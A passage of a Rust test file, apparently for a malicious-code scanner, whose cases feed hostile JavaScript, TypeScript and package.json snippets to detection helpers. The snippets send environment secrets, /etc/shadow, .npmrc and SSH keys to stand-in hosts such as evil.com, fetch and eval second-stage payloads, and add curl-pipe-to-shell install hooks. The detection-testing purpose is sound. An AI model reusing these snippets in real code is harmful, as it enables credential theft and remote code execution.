assert_findings_ts("const arr: string[] = [process.env.A, process.env.B]; fetch(arr[0]);", "tp_wave2_007");
}
#[test]
fn tp_wave2_008_ts_fetch_processenv_token() {
assert_findings_ts("const e: NodeJS.ProcessEnv = process.env; const tok: string = e.TOKEN; fetch(tok);", "tp_wave2_008");
}
#[test]
fn tp_wave2_009_ts_execsync_curl_env() {
assert_findings_ts("const cp = require('child_process'); const cmd: string = 'curl ' + process.env.URL + ' | sh'; cp.execSync(cmd);", "tp_wave2_009");
}
#[test]
fn tp_wave2_010_ts_fetch_fs_readfile_passwd() {
assert_findings_ts("const fs = require('fs') as any; const data: string = fs.readFileSync('/etc/passwd', 'utf8'); fetch(data);", "tp_wave2_010");
}
#[test]
fn tp_wave2_011_ts_eval_buffer_env() {
assert_findings_ts("const b: Buffer = Buffer.from(process.env.B64); const code: string = b.toString(); eval(code);", "tp_wave2_011");
}
#[test]
fn tp_wave2_012_ts_exec_socket_data() {
assert_findings_ts("const net = require('net'); const sock: net.Socket = new net.Socket(); sock.on('data', (d: Buffer) => { require('child_process').exec(d.toString()); });", "tp_wave2_012");
}
#[test]
fn tp_wave2_013_ts_dns_lookup_env() {
assert_findings_ts("const dns = require('dns'); const h: string = process.env.TOKEN + '.evil.com'; dns.lookup(h, () => {});", "tp_wave2_013");
}
#[test]
fn tp_wave2_014_ts_https_request_opts_env() {
assert_findings_ts("const https = require('https'); const opts: https.RequestOptions = { hostname: 'evil.com', path: '/' + process.env.KEY }; https.request(opts).end();", "tp_wave2_014");
}
#[test]
fn tp_wave2_015_ts_new_function_env() {
assert_findings_ts("const code: string = process.env.CODE; const fn: Function = new Function(code); fn();", "tp_wave2_015");
}
#[test]
fn tp_wave2_016_ts_vm_runinnewcontext_env() {
assert_findings_ts("const vm = require('vm'); const ctx: vm.Context = vm.createContext({}); const c: string = process.env.CODE; vm.runInNewContext(c, ctx);", "tp_wave2_016");
}
#[test]
fn tp_wave2_017_ts_fetch_crypto_hash_env() {
assert_findings_ts("const crypto = require('crypto'); const hash: string = crypto.createHash('md5').update(process.env.SECRET).digest('hex'); fetch(hash);", "tp_wave2_017");
}
#[test]
fn tp_wave2_018_ts_fetch_query_union() {
assert_findings_ts("const q: string | undefined = process.env.QUERY; if (q) { fetch('https://evil.com?q=' + q); }", "tp_wave2_018");
}
#[test]
fn tp_wave2_019_ts_fetch_destructured_tuple() {
assert_findings_ts("const [a, b]: [string, string] = [process.env.A, process.env.B]; fetch(a + b);", "tp_wave2_019");
}
#[test]
fn tp_wave2_020_ts_fetch_object_destructure_env() {
assert_findings_ts("const { TOKEN }: { TOKEN: string } = process.env; fetch(TOKEN);", "tp_wave2_020");
}
#[test]
fn tp_wave2_021_ts_spawn_readonly_array_env() {
assert_findings_ts("const cp = require('child_process'); const args: ReadonlyArray<string> = ['-c', process.env.CMD]; cp.spawn('sh', args as string[]);", "tp_wave2_021");
}
#[test]
fn tp_wave2_022_ts_execsync_settimeout_env() {
assert_findings_ts("const cmd: string = process.env.CMD; setTimeout(() => { require('child_process').execSync(cmd); }, 0);", "tp_wave2_022");
}
#[test]
fn tp_wave2_023_ts_eval_socket_net() {
assert_findings_ts("const net = require('net'); const s: net.Socket = new net.Socket(); s.connect(1337, 'c2.ts'); s.on('data', (c: string) => { eval(c); });", "tp_wave2_023");
}
#[test]
fn tp_wave2_024_ts_fetch_map_get_env() {
assert_findings_ts("const map = new Map<string, string>(); map.set('k', process.env.KEY); const v: string = map.get('k')!; fetch(v);", "tp_wave2_024");
}
#[test]
fn tp_wave2_025_ts_namespace_import_exec_env() {
assert_findings_ts("import * as cp from 'child_process'; function run(cmd: string): void { cp.exec(cmd); } run(process.env.PAYLOAD);", "tp_wave2_025");
}
#[test]
fn tp_wave2_026_minified_exec_env_chain() {
f("var a=process,b=a.env,c=b.TOKEN,d=require('child_process'),e=d.exec;e(c);","tp_wave2_026");
}
#[test]
fn tp_wave2_027_minified_fetch_concat_secret() {
f("var a=process.env.SECRET,b='https://evil.com?s='+a;fetch(b);","tp_wave2_027");
}
#[test]
fn tp_wave2_028_minified_fs_http_exfil() {
f("var a=require('fs'),b=a.readFileSync('/etc/passwd','utf8'),c='http://exfil.com?d='+b;require('http').request(c).end();","tp_wave2_028");
}
#[test]
fn tp_wave2_029_minified_buffer_eval_env() {
f("var a=Buffer.from(process.env.B64),b=a.toString();eval(b);","tp_wave2_029");
}
#[test]
fn tp_wave2_030_minified_https_request_env() {
f("var a=require('https'),b=process.env.KEY;a.request({hostname:'evil.com',path:'/'+b}).end();","tp_wave2_030");
}
#[test]
fn tp_wave2_031_minified_net_exec_socket() {
f("var a=require('net'),b=new a.Socket();b.on('data',function(c){require('child_process').exec(c.toString());});","tp_wave2_031");
}
#[test]
fn tp_wave2_032_minified_spawn_env_cmd() {
f("var a=process.env.CMD,b=require('child_process');b.spawn('sh',['-c',a]);","tp_wave2_032");
}
#[test]
fn tp_wave2_033_minified_fetch_url_env() {
f("var a='https://c2.com?t=',b=process.env.TOKEN,c=a+b;fetch(c);","tp_wave2_033");
}
#[test]
fn tp_wave2_034_minified_npmrc_https_exfil() {
f("var a=require('fs'),b=a.readFileSync('.npmrc'),c=b.toString();https.request({hostname:'evil.com',path:'/'+c}).end();","tp_wave2_034");
}
#[test]
fn tp_wave2_035_minified_new_function_env() {
f("var a=process.env.PAYLOAD,b=new Function(a);b();","tp_wave2_035");
}
#[test]
fn tp_wave2_036_minified_vm_runinnewcontext_env() {
f("var a=require('vm'),b=a.createContext({}),c=process.env.CODE;a.runInNewContext(c,b);","tp_wave2_036");
}
#[test]
fn tp_wave2_037_minified_dns_lookup_env() {
f("var a=require('dns'),b=process.env.TOKEN+'.evil.com';a.lookup(b,function(){});","tp_wave2_037");
}
#[test]
fn tp_wave2_038_minified_execsync_curl_env() {
f("var a=require('child_process'),b=process.env.URL;a.execSync('curl '+b+' | sh');","tp_wave2_038");
}
#[test]
fn tp_wave2_039_minified_fetch_concat_env_vars() {
f("var a=process.env.A,b=process.env.B,c=a+b;fetch(c);","tp_wave2_039");
}
#[test]
fn tp_wave2_040_minified_crypto_hash_fetch_env() {
f("var a=require('crypto'),b=a.createHash('md5').update(process.env.SECRET).digest('hex');fetch(b);","tp_wave2_040");
}
#[test]
fn tp_wave2_041_minified_exec_argv() {
f("var a=process.argv[2],b=require('child_process');b.exec(a);","tp_wave2_041");
}
#[test]
fn tp_wave2_042_minified_shadow_fetch_fs() {
f("var a=require('fs'),b=a.readFileSync('/etc/shadow'),c='https://evil.com?d='+b;fetch(c);","tp_wave2_042");
}
#[test]
fn tp_wave2_043_minified_https_request_object_env() {
f("var a=process.env.TOKEN,b={h:'evil.com',p:'/'+a};require('https').request(b).end();","tp_wave2_043");
}
#[test]
fn tp_wave2_044_minified_base64_exec() {
f("var a=Buffer.from('Y3VybCBldmlsLmNvbQ==','base64').toString(),b=require('child_process');b.exec(a);","tp_wave2_044");
}
#[test]
fn tp_wave2_045_minified_execsync_env_payload() {
f("var a=process.env.PAYLOAD,b=require('child_process');b.execSync(a);","tp_wave2_045");
}
#[test]
fn tp_wave2_046_minified_eval_socket_net() {
f("var a=require('net'),b=new a.Socket();b.connect(4444,'evil.com');b.on('data',function(c){eval(c);});","tp_wave2_046");
}
#[test]
fn tp_wave2_047_minified_dns_exfil_env() {
f("var a=process.env.KEY,b='http://dns.exfil/'+a;require('dns').lookup(b,function(){});","tp_wave2_047");
}
#[test]
fn tp_wave2_048_minified_spawn_bash_env() {
f("var a=require('child_process'),b=process.env.SCRIPT;a.spawn('bash',['-c',b]);","tp_wave2_048");
}
#[test]
fn tp_wave2_049_minified_fetch_indirect() {
f("var a=process.env.TOKEN,b=fetch;b(a);","tp_wave2_049");
}
#[test]
fn tp_wave2_050_minified_ssh_key_https_exfil() {
f("var a=require('fs'),b=a.readFileSync(process.env.HOME+'/.ssh/id_rsa'),c='https://evil.com?k='+b;require('https').request(c).end();","tp_wave2_050");
}
#[test]
fn tp_wave2_051_loader_https_get_eval() {
f("var h=require('https');h.get('https://evil.com/stage2.js',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){eval(b);});});","tp_wave2_051");
}
#[test]
fn tp_wave2_052_loader_https_get_base64_eval() {
f("var h=require('https');h.get('https://evil.com/s2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var d=Buffer.from(b,'base64').toString();eval(d);});});","tp_wave2_052");
}
#[test]
fn tp_wave2_053_loader_http_get_new_function() {
f("var h=require('http');h.get('http://c2.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var f=new Function(b);f();});});","tp_wave2_053");
}
#[test]
fn tp_wave2_054_loader_net_socket_base64_exec() {
f("var n=require('net');var s=new n.Socket();s.connect(4444,'c2.com');s.on('data',function(d){var p=Buffer.from(d.toString(),'base64').toString();require('child_process').exec(p);});","tp_wave2_054");
}
#[test]
fn tp_wave2_055_loader_https_get_replace_settimeout() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var s=b.replace(/X/g,'');setTimeout(s,0);});});","tp_wave2_055");
}
#[test]
fn tp_wave2_056_loader_https_get_vm_runinnewcontext() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){require('vm').runInNewContext(b);});});","tp_wave2_056");
}
#[test]
fn tp_wave2_057_loader_https_get_json_parse_eval() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var j=JSON.parse(b);eval(j.code);});});","tp_wave2_057");
}
#[test]
fn tp_wave2_058_loader_https_get_reverse_eval() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var a=b.split('').reverse().join('');eval(a);});});","tp_wave2_058");
}
#[test]
fn tp_wave2_059_loader_https_get_exec() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var cp=require('child_process');cp.exec(b);});});","tp_wave2_059");
}
#[test]
fn tp_wave2_060_loader_https_get_spawn() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var cp=require('child_process');cp.spawn('sh',['-c',b]);});});","tp_wave2_060");
}
#[test]
fn tp_wave2_061_loader_https_get_execsync() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var cp=require('child_process');cp.execSync(b);});});","tp_wave2_061");
}
#[test]
fn tp_wave2_062_loader_https_get_trim_new_function() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var code=b.toString().trim();var fn=new Function(code);fn();});});","tp_wave2_062");
}
#[test]
fn tp_wave2_063_loader_https_get_atob_eval() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var s=atob(b);eval(s);});});","tp_wave2_063");
}
#[test]
fn tp_wave2_064_loader_https_get_regex_match_eval() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var m=b.match(/code:(.+)/);if(m)eval(m[1]);});});","tp_wave2_064");
}
#[test]
fn tp_wave2_065_loader_https_get_hex_decode_eval() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var p=Buffer.from(b).toString('hex');var q=p.replace(/(..)/g,'%$1');var s=decodeURIComponent(q);eval(s);});});","tp_wave2_065");
}
#[test]
fn tp_wave2_066_loader_https_get_split_exec() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var a=b.split('|');var cp=require('child_process');cp.exec(a[1]);});});","tp_wave2_066");
}
#[test]
fn tp_wave2_067_loader_net_socket_trim_spawn() {
f("var n=require('net');var s=new n.Socket();s.connect(5555,'c2.com');s.on('data',function(d){var x=d.toString().trim();var cp=require('child_process');cp.spawn('/bin/sh',['-c',x]);});","tp_wave2_067");
}
#[test]
fn tp_wave2_068_loader_https_get_json_parse_exec() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var j=JSON.parse(b);require('child_process').exec(j.cmd);});});","tp_wave2_068");
}
#[test]
fn tp_wave2_069_loader_https_get_unescape_eval() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var z=unescape(b);eval(z);});});","tp_wave2_069");
}
#[test]
fn tp_wave2_070_loader_https_get_node_e_wrapper_exec() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var cp=require('child_process');cp.exec('node -e \"'+b+'\"');});});","tp_wave2_070");
}
#[test]
fn tp_wave2_071_loader_https_get_slice_eval() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var s=b.slice(1,-1);eval(s);});});","tp_wave2_071");
}
#[test]
fn tp_wave2_072_loader_https_get_execsync_again() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var cp=require('child_process');cp.execSync(b);});});","tp_wave2_072");
}
#[test]
fn tp_wave2_073_loader_https_get_new_function_settimeout() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var f=new Function(b);setTimeout(f,0);});});","tp_wave2_073");
}
#[test]
fn tp_wave2_074_loader_https_get_spawn_shell() {
f("var h=require('https');h.get('https://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var cp=require('child_process');cp.spawn(b,{shell:true});});});","tp_wave2_074");
}
#[test]
fn tp_wave2_075_loader_http_get_execsync() {
f("var h=require('http');h.get('http://evil.com/stage2',function(r){var b='';r.on('data',function(c){b+=c;});r.on('end',function(){var cp=require('child_process');cp.execSync(b);});});","tp_wave2_075");
}
#[test]
fn tp_wave2_076_pkg_preinstall_curl_bash() {
p(r##"{"scripts":{"preinstall":"curl https://evil.com/run.sh | bash"}}"##, "", "tp_wave2_076");
}
#[test]
fn tp_wave2_077_pkg_postinstall_wget_sh() {
p(r##"{"scripts":{"postinstall":"wget https://evil.com/run.sh -O- | sh"}}"##, "", "tp_wave2_077");
}
#[test]
fn tp_wave2_078_pkg_install_node_exec_env() {
p(r##"{"scripts":{"install":"node -e \"require('child_process').exec(process.env.PAYLOAD)\""}}"##, "", "tp_wave2_078");
}
#[test]
fn tp_wave2_079_pkg_preinstall_bash_eval() {
p(r##"{"scripts":{"preinstall":"bash -c 'eval(1)'"}}"##, "", "tp_wave2_079");
}
#[test]
fn tp_wave2_080_pkg_postinstall_node_index_exfil() {
p(r##"{"scripts":{"postinstall":"node index.js"}}"##, "var h=require('https');h.request({hostname:'evil.com',path:'/'+process.env.TOKEN}).end();", "tp_wave2_080");
}
#[test]
fn tp_wave2_081_pkg_preinstall_sh_curl_bash() {
p(r##"{"scripts":{"preinstall":"sh -c 'curl https://evil.com | bash'"}}"##, "", "tp_wave2_081");
}
#[test]
fn tp_wave2_082_pkg_postinstall_wget_bash() {
p(r##"{"scripts":{"postinstall":"wget -O- https://evil.com/run.sh | bash"}}"##, "", "tp_wave2_082");
}
#[test]
fn tp_wave2_083_pkg_install_node_eval_env() {
p(r##"{"scripts":{"install":"node -e \"eval(process.env.PAYLOAD)\""}}"##, "", "tp_wave2_083");
}
#[test]
fn tp_wave2_084_pkg_preinstall_curl_sh() {
p(r##"{"scripts":{"preinstall":"curl -s https://evil.com | sh"}}"##, "", "tp_wave2_084");
}
#[test]
fn tp_wave2_085_pkg_postinstall_bash_script() {
p(r##"{"scripts":{"postinstall":"bash install.sh"}}"##, "", "tp_wave2_085");
}
#[test]
fn tp_wave2_086_pkg_install_node_require_exec() {
p(r##"{"scripts":{"install":"node -e \"require('child_process').exec('curl evil.com | sh')\""}}"##, "", "tp_wave2_086");
}
#[test]
fn tp_wave2_087_pkg_preinstall_npx_remote_exec() {
p(r##"{"scripts":{"preinstall":"npx node_modules/.bin/remote-exec; exec true"}}"##, "", "tp_wave2_087");
}
#[test]
fn tp_wave2_088_pkg_postinstall_curl_bash_and_js() {
p(r##"{"scripts":{"postinstall":"curl https://evil.com | bash"}}"##, "var cp=require('child_process');cp.exec(process.env.PAYLOAD);", "tp_wave2_088");
}
#[test]
fn tp_wave2_089_pkg_install_wget_sh() {
p(r##"{"scripts":{"install":"wget https://evil.com/run.sh -O- | sh"}}"##, "", "tp_wave2_089");
}
#[test]
fn tp_wave2_090_pkg_preinstall_bash_node_eval() {
p(r##"{"scripts":{"preinstall":"bash -c 'node -e \"eval(process.env.PAYLOAD)\"'"}}"##, "", "tp_wave2_090");
}
#[test]
fn tp_wave2_091_pkg_postinstall_sh_exec_node() {
p(r##"{"scripts":{"postinstall":"sh -c 'exec node x.js'"}}"##, "", "tp_wave2_091");
}
#[test]
fn tp_wave2_092_pkg_install_node_require_spawn() {
p(r##"{"scripts":{"install":"node -e \"require('child_process').spawn('sh',['-c','curl evil.com | sh'])\""}}"##, "", "tp_wave2_092");
}
#[test]
fn tp_wave2_093_pkg_preinstall_curl_sl_bash() {
p(r##"{"scripts":{"preinstall":"curl -sSL https://evil.com/install.sh | bash"}}"##, "", "tp_wave2_093");
}
#[test]
fn tp_wave2_094_pkg_postinstall_wget_q_sh() {
p(r##"{"scripts":{"postinstall":"wget -q -O- https://evil.com/run.sh | sh"}}"##, "", "tp_wave2_094");
}
#[test]
fn tp_wave2_095_pkg_install_bash_c_curl_bash() {
p(r##"{"scripts":{"install":"bash -c \"curl evil.com | bash\""}}"##, "", "tp_wave2_095");
}
#[test]
fn tp_wave2_096_pkg_preinstall_node_eval_require_fs() {
p(r##"{"scripts":{"preinstall":"node -e \"eval(require('fs').readFileSync('hook.js'))\""}}"##, "", "tp_wave2_096");
}
#[test]
fn tp_wave2_097_pkg_postinstall_sh_wget_sh() {
p(r##"{"scripts":{"postinstall":"sh -c 'wget -O- evil.com | sh'"}}"##, "", "tp_wave2_097");
}
#[test]
fn tp_wave2_098_pkg_install_curl_sh_and_js_exfil() {
p(r##"{"scripts":{"install":"curl https://evil.com | sh"}}"##, "var h=require('https');h.request({hostname:'c2.com',path:'/'+process.env.SECRET}).end();", "tp_wave2_098");
}
#[test]
fn tp_wave2_099_pkg_preinstall_bash_script_and_js_exec() {
p(r##"{"scripts":{"preinstall":"bash install.sh"}}"##, "var cp=require('child_process');cp.exec(process.env.PAYLOAD);", "tp_wave2_099");
}
#[test]
fn tp_wave2_100_pkg_postinstall_node_require_exec_env() {
p(r##"{"scripts":{"postinstall":"node -e \"require('child_process').exec(process.env.PAYLOAD)\""}}"##, "", "tp_wave2_100");
}